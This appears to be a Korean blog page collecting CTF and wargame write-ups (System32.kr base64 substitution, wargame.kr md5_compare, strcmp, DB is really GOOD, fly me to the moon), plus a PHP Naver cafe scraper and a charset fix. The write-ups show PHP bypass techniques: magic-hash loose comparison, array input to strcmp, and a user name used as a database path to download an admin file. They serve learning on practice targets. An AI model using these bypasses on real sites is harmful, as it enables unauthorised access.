반응형
반응형
반응형

System32.kr 

[EZB64] 풀이

 

 

 

코드는 이러하다 :

import flag
flag = flag.EZB64
story='''The usage "crib" was adapted from a slang term referring to cheating (e.g., "I cribbed my answer from your test paper"). A "crib" originally was a literal or interlinear translation of a foreign-language text-usually a Latin or Greek text-that students might be assigned to translate from the original language.
The idea behind a crib is that cryptologists were looking at incomprehensible ciphertext, but if they had a clue about some word or phrase that might be expected to be in the ciphertext, they would have a "wedge," a test to break into it. If their otherwise random attacks on the cipher managed to sometimes produce those words or (preferably) phrases, they would know they might be on the right track. When those words or phrases appeared, they would feed the settings they had used to reveal them back into the whole encrypted message to good effect.
In the case of Enigma, the German High Command was very meticulous about the overall security of the Enigma system and understood the possible problem of cribs. The day-to-day operators, on the other hand, were less careful. The Bletchley Park team would guess some of the plaintext based upon when the message was sent, and by recognizing routine operational messages. For instance, a daily weather report was transmitted by the Germans at the same time every day. Due to the regimented style of military reports, it would contain the word Wetter (German for "weather") at the same location in every message. (Knowing the local weather conditions helped Bletchley Park guess other parts of the plaintext as well.) Other operators, too, would send standard salutations or introductions. An officer stationed in the Qattara Depression consistently reported that he had nothing to report. "Heil Hitler," occurring at the end of a message, is another well-known example.
At Bletchley Park in World War II, strenuous efforts were made to use (and even force the Germans to produce) messages with known plaintext. For example, when cribs were lacking, Bletchley Park would sometimes ask the Royal Air Force to "seed" a particular area in the North Sea with mines (a process that came to be known as gardening, by obvious reference). The Enigma messages that were soon sent out would most likely contain the name of the area or the harbour threatened by the mines.
The Germans themselves could be very accommodating in this regard. Whenever any of the turned German Double cross agents sent a message (written by the British) to their respective handlers, they frequently obligingly re-encrypted the message word for word on Enigma for onward transmission to Berlin.
When a captured German revealed under interrogation that Enigma operators had been instructed to encode numbers by spelling them out, Alan Turing reviewed decrypted messages and determined that the number "eins" ("one") was the most common string in the plaintext. He automated the crib process, creating the Eins Catalogue, which assumed that "eins" was encoded at all positions in the plaintext. The catalogue included every possible position of the various rotors, starting positions, and keysettings of the Enigma.
The Polish Cipher Bureau had likewise exploited "cribs" in the "ANX method" before World War II (the Germans' use of "AN", German for "to", followed by "X" as a spacer to form the text "ANX").
The United States and Britain used one-time tape systems, such as the 5-UCO, for their most sensitive traffic. These devices were immune to known-plaintext attack; however, they were point-to-point links and required massive supplies of one time tapes. Networked cipher machines were considered vulnerable to cribs, and various techniques were used to disguise the beginning and ends of a message, including cutting messages in half and sending the second part first and adding nonsense padding at both ends. The latter practice resulted in the world wonders incident. The KL-7, introduced in the mid-1950s, was the first U.S. cipher machine that was considered safe against known-plaintext attack.
Classical ciphers are typically vulnerable to known-plaintext attack. For example, a Caesar cipher can be solved using a single letter of corresponding plaintext and ciphertext to decrypt entirely. A general monoalphabetic substitution cipher needs several character pairs and some guessing if there are fewer than 26 distinct pairs._______
'''
import base64,random,string
table = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
rtable = ''.join(random.sample(table,len(table)))
tb=string.maketrans(table,rtable)
orig=base64.b64encode(story+flag)
print(orig.translate(tb))
#Output : CpIMrXCk5u7MrSZoQcMsrsBy5LU45uKIQXKMGSBcQca0rpV4QxiI3cQ47pCw3qBwGuGMQYZt3cQ47p+45xIM5LKt3cQ4EpFgGwd/rSZZrpfwTuZsGul43LP45uJk7xCwrpGw3xe4jua1QsBeGLferXBIQpCwrsPgrVV4rcfwTursrpawTu7t3cn/3XP47xnkrpV43pMeGLZI3SB6QsBt3YKMQcit3cCIQsBeQcngQxiI7pM63sB6GsBIrpG6QcCtGxd03pngGyCIGxF47pCd7S11QyCI3piJrpV4OpneTud43yr4KyZMGu/47pCd7S1eTpnerXfe7uKM3YKkrp1tGxIerpZMrpnkQxMY3cCPrXK6rXKw5uJk3pneGqBcQca0rXKbGqB6QcMYTuJI3SB/5uJY7unYGqdESMKbGqBtGpCIrpZMTpMgGSBIrpfwTur4TLU47pII7SBoQYMz7pa/3x7tQyKkrX7MQcF43pa6TxMgGwBI7SBt3cf63LBwGuIM3Yft5ciMrpftQpIMQYKMjXl/rpZ17SBtGsBeTp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CkrXKM5xIgTLn1GLU47xCwGqB1QxCPrXK6rpKtQx71TLfMrXKbGqBsGu7t3cJt3cQ45uJPrpCgGXU43x545qB0GLfk5u7MhSBt3cf/7uKt3cQ45yCe7pMgGwB0GLfk5u7MQwBt3sBb5uicrpngGSBkGuJPTuJYrXKbGqBkGuf63cl4Qpnw7SBcTLZk7SBI3cl45uKPTuJYrpJ63YfM3YfMrXBIGpKt3cQ45Ll45caeTSBM3cKkhsBFTpF43pne7pCwrXBw5ufeTufMrXZMQyC/7pCPrpMgrXKbGqBy3yZ/GSBy3xJPGLZkrpMg5xMPGuJehsBFTpF4qez0fwz4TuJeQcaP7ufMGSBt3sBeTpF43uMPhOVJfOBkhSBy5LU47pIMrpGtQYfernFgFwd45xMzTpCwrp1I5xIt3cF47pII7SBy5LU45xagQxMPGLZMGSBk5uGMrpnY5uMgQyl4TxJ67xd0QpiITuJeGLIerpne7pnoTwdESPf/5LfkTufI3SBoTLBbGLZkrpnwGqBejLBt5xn/3XP47YC/3cCw5uZ/GqBe3wBN3cay3s1z3pnt3YKMjXl45LKe5ufNhsBp3yr4GLII3LB/Gqz45qBA5uCk5Lr45xMzTpCwrpfI3sBsGqBk3xixGul47Lft3cQ45qBkTuJY3pF43pCe7pCwrpacrpf6QYZMQyB63cKt3cQ4QpiITuJeGLIerpngGSBoTLBbGLZeGLIerXK6rpKM5yZJQXl4GuJeTLZM3XPgrVV4GxCgGLZI3SB03xJ65uizTpnsGLKt5wBk7uZk7pMe7LKt3xd45xMzTpCwrpJMGuKkrXfM7cCw5uz45xIIQcno7pCwrXBITLZkrpngGSBk3x1Mrp71GLfkTuJYrpMcrXKbGLZMrpnwGqBcGL7MQsBeTpngrArxrpKtQyKt3cferXBITLZkhMaWL1aWL1+EKciIGy0eTpMkLxMkLyK631aMjMac3yZWCCat3cMeHye=

 

table = A-Za-z0-9+/

 

stroy에 flag를 붙여서 base64 인코딩을 하고, 랜덤으로 만든 테이블로 치환을 해서 출력을 한다.

 

 

 

만약

table=ABCDE

rtable=qwert

이면, A는 q로, B는 w로 치환하는 것이다.

 

 

 

 

 

flag를 얻기 위해서는 rtable를 구해야 한다.

 

샘플을 충분히 제공하기 때문에, rtable를 쉽게 구할 수 있다.

 

story만을 base64로 인코딩하면 VGhlIHVzYWdlICJjcmliIi....이 나오는데

 

이를 Output과 비교를 하게 되면 V->C, G->p, h->I 이렇게 1:1대응이 된다.

 

 

 

 

 

 

1:1 대응 리스트를 쫙 뽑아서 rtable를 만들고 rtable->table로 Output를 바꿔주어서 base64 디코딩을 하면 flag를 구할 수 있다.

 

 

python2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
story='''The usage "crib" was adapted from a slang term referring to cheating (e.g., "I cribbed my answer from your test paper"). A "crib" originally was a literal or interlinear translation of a foreign-language text-usually a Latin or Greek text-that students might be assigned to translate from the original language.
 
The idea behind a crib is that cryptologists were looking at incomprehensible ciphertext, but if they had a clue about some word or phrase that might be expected to be in the ciphertext, they would have a "wedge," a test to break into it. If their otherwise random attacks on the cipher managed to sometimes produce those words or (preferably) phrases, they would know they might be on the right track. When those words or phrases appeared, they would feed the settings they had used to reveal them back into the whole encrypted message to good effect.
 
In the case of Enigma, the German High Command was very meticulous about the overall security of the Enigma system and understood the possible problem of cribs. The day-to-day operators, on the other hand, were less careful. The Bletchley Park team would guess some of the plaintext based upon when the message was sent, and by recognizing routine operational messages. For instance, a daily weather report was transmitted by the Germans at the same time every day. Due to the regimented style of military reports, it would contain the word Wetter (German for "weather") at the same location in every message. (Knowing the local weather conditions helped Bletchley Park guess other parts of the plaintext as well.) Other operators, too, would send standard salutations or introductions. An officer stationed in the Qattara Depression consistently reported that he had nothing to report. "Heil Hitler," occurring at the end of a message, is another well-known example.
 
At Bletchley Park in World War II, strenuous efforts were made to use (and even force the Germans to produce) messages with known plaintext. For example, when cribs were lacking, Bletchley Park would sometimes ask the Royal Air Force to "seed" a particular area in the North Sea with mines (a process that came to be known as gardening, by obvious reference). The Enigma messages that were soon sent out would most likely contain the name of the area or the harbour threatened by the mines.
 
The Germans themselves could be very accommodating in this regard. Whenever any of the turned German Double cross agents sent a message (written by the British) to their respective handlers, they frequently obligingly re-encrypted the message word for word on Enigma for onward transmission to Berlin.
 
When a captured German revealed under interrogation that Enigma operators had been instructed to encode numbers by spelling them out, Alan Turing reviewed decrypted messages and determined that the number "eins" ("one") was the most common string in the plaintext. He automated the crib process, creating the Eins Catalogue, which assumed that "eins" was encoded at all positions in the plaintext. The catalogue included every possible position of the various rotors, starting positions, and keysettings of the Enigma.
 
The Polish Cipher Bureau had likewise exploited "cribs" in the "ANX method" before World War II (the Germans' use of "AN", German for "to", followed by "X" as a spacer to form the text "ANX").
 
The United States and Britain used one-time tape systems, such as the 5-UCO, for their most sensitive traffic. These devices were immune to known-plaintext attack; however, they were point-to-point links and required massive supplies of one time tapes. Networked cipher machines were considered vulnerable to cribs, and various techniques were used to disguise the beginning and ends of a message, including cutting messages in half and sending the second part first and adding nonsense padding at both ends. The latter practice resulted in the world wonders incident. The KL-7, introduced in the mid-1950s, was the first U.S. cipher machine that was considered safe against known-plaintext attack.
 
Classical ciphers are typically vulnerable to known-plaintext attack. For example, a Caesar cipher can be solved using a single letter of corresponding plaintext and ciphertext to decrypt entirely. A general monoalphabetic substitution cipher needs several character pairs and some guessing if there are fewer than 26 distinct pairs._______
'''
 
tran='''CpIMrXCk5u7MrSZoQcMsrsBy5LU45uKIQXKMGSBcQca0rpV4QxiI3cQ47pCw3qBwGuGMQYZt3cQ47p+45xIM5LKt3cQ4EpFgGwd/rSZZrpfwTuZsGul43LP45uJk7xCwrpGw3xe4jua1QsBeGLferXBIQpCwrsPgrVV4rcfwTursrpawTu7t3cn/3XP47xnkrpV43pMeGLZI3SB6QsBt3YKMQcit3cCIQsBeQcngQxiI7pM63sB6GsBIrpG6QcCtGxd03pngGyCIGxF47pCd7S11QyCI3piJrpV4OpneTud43yr4Ky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Cw5uz45xIIQcno7pCwrXBITLZkrpngGSBk3x1Mrp71GLfkTuJYrpMcrXKbGLZMrpnwGqBcGL7MQsBeTpngrArxrpKtQyKt3cferXBITLZkhMaWL1aWL1+EKciIGy0eTpMkLxMkLyK631aMjMac3yZWCCat3cMeHye=
'''
 
import base64, string
table = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
table_dict = dict.fromkeys(table, '?')
#rtable = ''.join(random.sample(table,len(table)))
orig=base64.b64encode(story)
 
for i in range(0len(orig)-4):
    table_dict[orig[i]] = tran[i]
    #print(orig[i]+";;"+tran[i])
 
tdv = table_dict.values()
rtable=""
for j in range(len(table)):
    rtable += table_dict[table[j]]
print(rtable)
tb=string.maketrans(rtable,table)
btran = tran.translate(tb)
print(base64.b64decode(btran))
 
cs

 

반응형

'WAR GAME > System32.kr' 카테고리의 다른 글

System32.kr [RSA108] 풀이  (0) 2021.01.19
System32.kr [RSA107] 풀이  (0) 2021.01.18
System32.kr [RSA106] 풀이  (0) 2019.05.19
System32.kr [RSA104] 풀이  (0) 2019.05.19
System32.kr [RSA105] 풀이  (0) 2019.05.19
반응형

네이버 카페의 글 제목, 작성자 닉네임, 작성일을 파싱하는 코드입니다.

 

 

 

로그인 절차가 필요 없습니다.

 

게시판 페이지를 파싱합니다.

 

게시판 링크는 게시판 링크 우클릭해서 링크 복사 해서 /ArticleList.nhn 부분부터 복사하여

카페 링크 뒤에 붙이시면 됩니다.

 

 

 

추가 인자값들은 아래 코드에서 확인하세요. (userDisplay 이나 search.page 등)

 

 

 

 

simple_html_dom.php 파일을 필요로 합니다:

https://simplehtmldom.sourceforge.io/

 

PHP Simple HTML DOM Parser

$html = str_get_html(' Hello World '); $html->find('div', 1)->class = 'bar'; $html->find('div[id=hello]', 0)->innertext = 'foo'; echo $html; $html = file_get_html('http://slashdot.org/'); foreach($html->find('div.article') as $article) {     $item['title']

simplehtmldom.sourceforge.io

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
/*ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);*/
 
include($_SERVER['DOCUMENT_ROOT'].'simple_html_dom.php');
//simple_html_dom.php 파일 수정 필요합니다.
//https://mandu-mandu.tistory.com/358
 
 
function naver_cafe_article_parser($page_no){
  //작성자 M4ndU
 
  //카페 url
  //카페 링크 aaaaa처리
  //search.clubid, search.menuid 0 처리
  //하였기 때문에 본인 카페 링크및 게시판 확인하셔서 변경하셔야합니다.
  $url = "https://cafe.naver.com/aaaaa/ArticleList.nhn?search.clubid=000000000&search.boardtype=L&search.menuid=00&search.marketBoardTab=D%&search.specialmenutype=&userDisplay=50&search.page=".$page_no;
 
  $html = file_get_html($url);
 
  $board = $html->find('div[class=article-board m-tcol-c]');
  foreach ($board[1]->find('tr'as $article) {
 
    $article_title_link = $article->find('a[class=article]')[0];
    $article_title = $article_title_link->plaintext;
    $article_link = $article_title_link->href;
    $article_publisher = $article->find('td[class=p-nick]')[0]->plaintext;
    $article_date = $article->find('td[class=td_date]')[0]->innertext;
 
    if ($article_title == "") {
      continue;
    }
 
 
    echo "<tr>";
    echo "<td>".$article_title."</td>";
    echo "<td>".$article_publisher."</td>";
    echo "<td>".$article_date."</td>";
    echo "<td> https://cafe.naver.com/aaaaa".$article_link."</td>"//카페링크 aaaaa처리하였음. 본인이 변경하세요.
    echo "</tr>";
  }
}
?>
<!DOCTYPE html>
<html lang="kr" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>
    <table class="table">
        <thead>
            <th>글제목</th>
            <th>작성자</th>
            <th>등록일시</th>
            <th>링크</th>
        </thead>
<?php
for ($i=1$i<10 ; $i++) { // 파싱할 게시판의 최대 페이지를 고려하세요.
  naver_cafe_article_parser($i);
}
?>
</table>
</body>
</html>
 
cs
반응형
반응형

국내 웹페이중에 charset이 KSC5601로 설정되어 있는 페이지들이 많다.

 

이 페이지를 simple_html_dom으로 파싱하려고 하면 아래와 같은 오류가 발생한다.

 

 

 

 

 

iconv(): Wrong charset, conversion from `KSC5601' to `UTF-8' is not allowed in simple_html_dom.php

 

 

 

 

 

 

이 경우 KSC5601을 CP949로 바꿔주면 해결된다.

 

 

 

simple_html_dom.php를 아래와 같이 수정해주자.

1
생략
784
785
786
787
789
790
791
792
793
794
795
생략
1724
<?php
...           
            if ((strcasecmp($targetCharset'UTF-8'== 0&& ($this->is_utf8($text)))
            {
                $converted_text = $text;
            }
            else
            {
              if ($sourceCharset == 'KSC5601') {
                $sourceCharset = 'CP949';
              }
                $converted_text = iconv($sourceCharset$targetCharset$text);
            }
...
?>
cs

791~793 삽입

반응형
반응형

md5_compare

JUST COMPARE ONLY.

with the other value :D

 

 

 

빠르게 소스를 확인하자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
    if (isset($_GET['view-source'])) {
         show_source(__FILE__);
         exit();
    }
 
    if (isset($_GET['v1']) && isset($_GET['v2'])) {
        sleep(3); // anti brute force
 
        $chk = true;
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
 
        if (!ctype_alpha($v1)) {$chk = false;}
        if (!is_numeric($v2) ) {$chk = false;}
        if (md5($v1!= md5($v2)) {$chk = false;}
 
        if ($chk){
            include("../lib.php");
            echo "Congratulations! FLAG is : ".auth_code("md5_compare");
        } else {
            echo "Wrong...";
        }
    }
?>
<br />
<form method="GET">
    VALUE 1 : <input type="text" name="v1" /><br />
    VALUE 2 : <input type="text" name="v2" /><br />
    <input type="submit" value="chk" />
</form>
<br />
<a href="?view-source">view-source</a>
cs

 

 

간단하다 v1은 전부 알파벳으로 이루어져 있어야 하고, v2는 전부 숫자로 이루어져 있어야 한다.

 

그리고 v1의 md5해쉬 값과 v2의 md5 해쉬값이 일치해야 한다.

 

 

 

 

php의 느슨한 비교(==)를 하기 때문에 magic hash를 사용할 수 있다.

 

v | input | md5

v1 | QNKCDZO | 0e830400451993494058024219903391

v2 | 240610708 | 0e46209743190650901956298873685

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
반응형

DB is really GOOD

What kind of this Database?

you have to find correlation between user name and database.

 

 

 

 

user name과 db의 상관관계를 찾아내면 될 것 같다.

 

 

 

첫 화면에서 admin으로 로그인 되지 않는다. 페이지 소스를 보면 

function fschk(f){
    if(f.user_id.value=="admin"){
        alert("dont access with 'admin'");
        return false;
    }
}

admin으로 로그인을 막는 js 코드가 존재한다.

 

 

그러나 해당 코드를 삭제해도 can not access admin.. 라고 admin으로 로그인이 불가능하다.

 

 

 

 

 

다른 닉네임들로 로그인해서 몇 번 만져보면 user name 가 하나의 다른 게시판역할을 하는 것을 알 수 있다.

 

= 다른 사람이 입력을 안했을 것 같은 user name으로 들어가보면 아무것도 없다.

= guest로 들어가서 메모를 남겨놓으면 나중에 guest로 들어가도 남아있다.

 

 

 

그러면 admin인 게시판을 찾아야 하는데 딱히 단서가 보이지 않았다.

 

그래서 메인 화면에서 여러가지 user name을 시도해 보았다.

 

 

 

 

<>?,./을 입력했을 때 오류메세지를 얻을 수 있었고 입력한 값을 경로로 하는 것을 찾을 수 있었다.

 

입력값을 경로로 하기 때문에 오류나는 문자는 . 나 / 일것이고, 결국 / 가 오류가 나는 원인임을 찾을 수 있었다.

 

 

 

 

 

Fatal error: Uncaught exception 'Exception' with message 'Unable to open database: unable to open database file' in /var/www/html/db_is_really_good/sqlite3.php:7 Stack trace: #0 /var/www/html/db_is_really_good/sqlite3.php(7): SQLite3->open('./db/wkrm_/.db') #1 /var/www/html/db_is_really_good/memo.php(14): MyDB->__construct('./db/wkrm_/.db') #2 {main} thrown in /var/www/html/db_is_really_good/sqlite3.php on line 7

 

 

 

./db/wkrm_[입력값].db 을 가져오는 것을 알 수 있다.

 

[입력값] 에 admin을 넣은 경로로 이동하면 해당 db파일을 다운로드 받을 수 있다.

 

 

 

 

 

 

 

 

다운로드 받은 파일을 Hxd로 열면 주소를 하나 더 얻을 수 있다.

 

해당 주소로 이동하면 flag가 나온다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
반응형

strcmp

if you can bypass the strcmp function, you get the flag.

 

 

 

password를 입력받는 칸과 소스를 확인할 수 있는 링크가 있다.

 

일단 소스코드를 확인해 보자.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
    require("../lib.php"); // for auth_code function
 
    $password = sha1(md5(rand().file_get_contents("/var/lib/dummy_file")).rand());
 
    if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
    }else if(isset($_POST['password'])){
        sleep(1); // do not brute force!
        if (strcmp($_POST['password'], $password== 0) {
            echo "Congratulations! Flag is <b>" . auth_code("strcmp") ."</b>";
            exit();
        } else {
            echo "Wrong password..";
        }
    }
 
?>
<br />
<br />
<form method="POST">
    password : <input type="text" name="password" /> <input type="submit" value="chk">
</form>
<br />
<a href="?view-source">view-source</a>
cs

 

 

$password sha1(md5(rand().file_get_contents("/var/lib/dummy_file")).rand());

 

$password는 랜덤 값의 sha1 해쉬값이다. 따라서 때려맞출 수는 없다.

 

 

 

 

대신 strcmp함수의 취약점을 이용하면 된다.

 

strcmp(String, Array()) 는 NULL을 반환한다.

 

php에서 NULL == 0 은 True가 된다.

 

 

 

 

 

 

따라서 password를 배열로 보내면 flag를 얻을 수 있게 된다.

 

크롬 개발자 도구를 이용해서 password를 password[]로 바꾼 뒤에 아무 값이나 입력해서 보내면, flag를 얻을 수 있다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
Wargame.kr [WTF_CODE] 풀이  (0) 2019.08.22
반응형

fly me to the moon

 

javascript game.

can you clear with bypass prevent cheating system?

 

 

 

 

게임을 시작하면, 양 옆 초록색 벽에 부딪히지 않도록 움직여야 한다.

 

 

 

 

 

 

벽에 닿아 죽게 되면 31337점을 얻어야 된다고 나온다.

 

 

 

그럼 이제 js 코드를 확인해 보자

 

난독화가 되어 있어서 읽을 수 없다.

 

 

 

 

 

 

위 난독화 정도는 아래 사이트를 이용해서 unPack이 가능하다.

https://www.strictly-software.com/unpack-javascript

 

Javascript Unpacker Tool - Strictly Software

This Javascript unpacker tool has now been upgraded to allow it to unpack multiple eval statements. So if your packed code has itself been packed a few times it will loop through until it finds the original source code. If you want to test this multiple ev

www.strictly-software.com

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
var _0x32bb = ["\x6B\x69\x6C\x6C\x50\x6C\x61\x79\x65\x72""\x63\x68\x65\x63\x6B\x4C\x69\x66\x65""\x67\x65\x74\x53\x63\x6F\x72\x65""\x42\x69\x6E\x63\x53\x63\x6F\x72\x65""\x73\x68\x72\x69\x6E\x6B\x54\x75\x6E\x6E\x65\x6C""\x77\x69\x64\x74\x68\x54\x75\x6E\x6E\x65\x6C""\x6F\x62\x6A\x65\x63\x74""\x44\x6F\x20\x63\x68\x65\x61\x74\x69\x6E\x67\x2C\x20\x69\x66\x20\x79\x6F\x75\x20\x63\x61\x6E""\x77\x61\x72\x6E""\x6F\x66\x66\x73\x65\x74\x4C\x65\x66\x74""\x74\x75\x6E\x6E\x65\x6C""\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64""\x74\x6F\x70""""\x70\x78""\x63\x73\x73""\x64\x69\x73\x70\x6C\x61\x79""\x62\x6C\x6F\x63\x6B""\x65\x61\x63\x68""\x69\x6D\x67\x2E\x6C\x65\x66\x74\x5F\x77\x61\x6C\x6C""\x69\x6D\x67\x2E\x72\x69\x67\x68\x74\x5F\x77\x61\x6C\x6C""\x23\x68\x69\x67\x68\x5F\x73\x63\x6F\x72\x65\x73""\x72\x65\x6D\x6F\x76\x65""\x74\x61\x62\x6C\x65""\x6E\x6F\x6E\x65""\x64\x69\x76\x23\x73\x63\x6F\x72\x65\x5F\x74\x61\x62\x6C\x65""\x63\x6C\x69\x63\x6B""\x74\x65\x78\x74""\x73\x70\x61\x6E\x23\x73\x63\x6F\x72\x65""\x6C\x65\x66\x74""\x69\x6D\x67\x23\x73\x68\x69\x70""\x73\x6C\x6F\x77""\x66\x61\x64\x65\x49\x6E""\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x70\x6F\x73\x69\x74\x69\x6F\x6E""\x35\x30\x25\x20""\x64\x69\x76\x23\x74\x75\x6E\x6E\x65\x6C""\x72\x61\x6E\x64\x6F\x6D""\x66\x6C\x6F\x6F\x72""\x75\x70\x64\x61\x74\x65\x54\x75\x6E\x6E\x65\x6C\x28\x29""\x66\x61\x64\x65\x4F\x75\x74""\x50\x4F\x53\x54""\x68\x69\x67\x68\x2D\x73\x63\x6F\x72\x65\x73\x2E\x70\x68\x70""\x74\x6F\x6B\x65\x6E\x3D""\x26\x73\x63\x6F\x72\x65\x3D""\x61\x6A\x61\x78""\x68\x74\x6D\x6C""\x70\x23\x77\x65\x6C\x63\x6F\x6D\x65""\x75\x70\x64\x61\x74\x65\x54\x6F\x6B\x65\x6E\x28\x29""\x74\x68\x78\x2C\x20\x43\x68\x72\x69\x73\x74\x69\x61\x6E\x20\x4D\x6F\x6E\x74\x6F\x79\x61""\x6D\x6F\x75\x73\x65\x6F\x76\x65\x72""\x23\x63\x68\x72\x69\x73\x74\x69\x61\x6E""\x6D\x6F\x75\x73\x65\x6F\x75\x74""\x72\x65\x61\x64\x79""\x43\x68\x72\x69\x73\x74\x69\x61\x6E\x20\x4D\x6F\x6E\x74\x6F\x79\x61""\x70\x61\x67\x65\x58""\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65""\x74\x6F\x6B\x65\x6E\x2E\x70\x68\x70""\x67\x65\x74"];
function secureGame() {
    var _0x8618x2 = this;
    var _0x8618x3 = true;
    function _0x8618x4() {
        _0x8618x3 = false;
        return true
    };
    function _0x8618x5() {
        return _0x8618x3
    };
    this[_0x32bb[0]] = function () {
        _0x8618x4();
        return true
    };
    this[_0x32bb[1]] = function () {
        return _0x8618x5()
    };
    var _0x8618x6 = 0;
    function _0x8618x7() {
        return _0x8618x6
    };
    function _0x8618x8() {
        if (_0x8618x3) {
            _0x8618x6++
        };
        return true
    };
    this[_0x32bb[2]] = function () {
        return _0x8618x7()
    };
    this[_0x32bb[3]] = function () {
        _0x8618x8();
        return true
    };
    var _0x8618x9 = 320;
    function _0x8618xa() {
        _0x8618x9 -= 20;
        return true
    };
    function _0x8618xb() {
        return _0x8618x9
    };
    this[_0x32bb[4]] = function () {
        _0x8618xa();
        return true
    };
    this[_0x32bb[5]] = function () {
        return _0x8618xb()
    }
};
var bg_val = 0;
var rail_left = 0;
var rail_right = 500;
var ship_x = 234;
var pos_x = 234;
var c_s = 0;
var c_r = 0;
var c_w = 0;
var t_state = 0;
left_wall = new Array(20);
right_wall = new Array(20);
function initTunnel() {
    BTunnelGame = new secureGame();
    if (_0x32bb[6== typeof console) {
        console[_0x32bb[8]](_0x32bb[7])
    };
    rail_left = document[_0x32bb[11]](_0x32bb[10])[_0x32bb[9]];
    rail_right += rail_left;
    y = 0;
    for (y = 0; y < 20; y++) {
        left_wall[y] = 80;
        right_wall[y] = 400
    };
    $(_0x32bb[19])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    });
    $(_0x32bb[20])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    });
    $(_0x32bb[25])[_0x32bb[26]](function () {
        $(_0x32bb[23])[_0x32bb[22]](_0x32bb[21]);
        $(_0x32bb[25])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        restartTunnel();
        updateTunnel()
    })
};
function restartTunnel() {
    BTunnelGame = new secureGame();
    if (_0x32bb[6== typeof console) {
        console[_0x32bb[8]](_0x32bb[7])
    };
    ship_x = 234;
    c_s = 0;
    c_r = 0;
    c_w = 0;
    $(_0x32bb[28])[_0x32bb[27]](_0x32bb[13+ 0);
    $(_0x32bb[30])[_0x32bb[15]](_0x32bb[29], ship_x + _0x32bb[14]);
    y = 0;
    for (y = 0; y < 20; y++) {
        left_wall[y] = 80;
        right_wall[y] = 400
    };
    $(_0x32bb[30])[_0x32bb[32]](_0x32bb[31]);
    $(_0x32bb[19])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    });
    $(_0x32bb[20])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    })
};
function updateTunnel() {
    bg_val = bg_val + 2;
    if (bg_val > 20) {
        bg_val = 0
    };
    $(_0x32bb[35])[_0x32bb[15]](_0x32bb[33], _0x32bb[34+ bg_val + _0x32bb[14]);
    if (ship_x + 32 < 500) {
        if (ship_x + 46 < pos_x) {
            ship_x += 4
        } else {
            if (ship_x + 16 < pos_x) {
                ship_x += 2
            }
        }
    };
    if (ship_x > 0) {
        if (ship_x - 14 > pos_x) {
            ship_x -= 4
        } else {
            if (ship_x + 16 > pos_x) {
                ship_x -= 2
